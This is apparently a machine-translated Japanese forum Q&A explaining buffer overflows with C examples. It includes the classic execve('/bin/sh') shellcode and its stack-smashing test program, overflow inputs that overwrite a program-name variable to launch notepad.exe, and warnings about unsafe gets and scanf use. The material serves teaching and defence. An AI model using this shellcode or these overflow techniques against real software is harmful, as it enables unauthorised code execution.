私はバッファオーバーフローについて多くのことを聞いたことがあり、問題を理解していると信じていますが、まだ言う例は見当たりません
char buffer[16];
//code that will over write that buffer and launch notepad.exe
私はバッファオーバーフローについて多くのことを聞いたことがあり、問題を理解していると信じていますが、まだ言う例は見当たりません
char buffer[16];
//code that will over write that buffer and launch notepad.exe
「楽しみと利益のためにスタックを破壊する」は、このテーマに関する最高のハウツー/FAQ です。
参照: http://insecure.org/stf/smashstack.html
実際のシェルコードの一部を次に示します。
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
2 つの別個のものがあります。
バッファをオーバーフローさせるコード。これは簡単に実行でき、おそらくセグメンテーション違反で終了します。表示されているのは次のとおりです: sprintf(buffer,"01234567890123456789");
オペレーティング システムによって実行される、上書きされたメモリ コードを配置する手段。これは、単にバッファをオーバーフローさせるよりも困難であり、プログラムの実行方法に関連しています。彼らは通常、スタックから実行する次の命令を取得します。実行ポインターの破損 (またはその他の種類の破損) を作成せずにメモリを上書きすることにより、スタックの次の値に有効な命令を入れることができた場合、エクスプロイトを作成できます。 . これは通常、スタックの次に読み取られる値に、コードを含むメモリのセクションへのジャンプ命令を入れることによって行われます。これが、メモリのセクションを非実行可能としてマークすることが、この種の悪用を防ぐのに役立つ理由です。
まず、他のプログラムを起動するプログラムが必要です。exec
OSを何らかの形で実行するプログラム。これは、OS と言語に大きく依存します。
次に、他のプログラムを起動するプログラムは、外部ソースからバッファに読み込む必要があります。
第 3 に、実行中のプログラム (コンパイラによってメモリに配置されたもの) を調べて、ステップ 1 (他のプログラムの起動) で使用される入力バッファーと他の変数がどのように存在するかを確認する必要があります。
第 4 に、実際にバッファーをオーバーランさせ、他の変数を設定する入力を作成する必要があります。
そう。パート 1 と 2 は、C では次のようなプログラムです。
#include <someOSstuff>
char buffer[16];
char *program_to_run= "something.exe";
void main( char *args[] ) {
gets( buffer );
exec( program_to_run );
}
パート 3 では、 と がどのように見えるかを分析する必要がありbuffer
ますprogram_to_run
が、おそらく
\x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 s o m e t h i n g . e x e \x00
パート 4、あなたの入力は、
1234567890123456notepad.exe\x00
そのため、塗りつぶしbuffer
て上書きしprogram_to_run
ます。
int x[10];
x[11] = 1;
notpad.exe を起動する方法がわかりませんが、このバッファを上書きするには、次のようにします。
sprintf(buffer, "somestringlongerthan16");
バッファ オーバーフローを使用して、コードに意図しない動作をさせる方法は、割り当てられたバッファの外にデータを書き込んで、他の何かを上書きすることです。
上書きされるデータは通常、別の関数のコードですが、簡単な例としては、バッファーの隣にある変数を上書きします。
char buffer[16];
string myapp = "appmine.exe";
void execMe(string s) {
for (int i = 0; i < s.Length; i++) buffer[i] = s[i];
Sys.Execute(myapp, buffer);
}
バッファが保持できるよりも多くのデータで関数を呼び出すと、ファイル名が上書きされます。
execMe("0123456789012345notepad");
gets(buffer);
gets はバッファーのサイズを要求しないため、適切に使用する方法はありません。
scanf("%s", buffer);
Scanf は、空白に到達するまで文字列入力を読み取ります。ユーザーが 16 文字を超えて入力すると、バッファ オーバーフローが発生します。
Phrack のSmashing The Stack For Fun And Profitには、求めていることを実行できるようにするのに十分な説明があります。
簡単な例については、こちらも参照してください。
一部のバッファ オーバーラン攻撃からの保護: 攻撃の例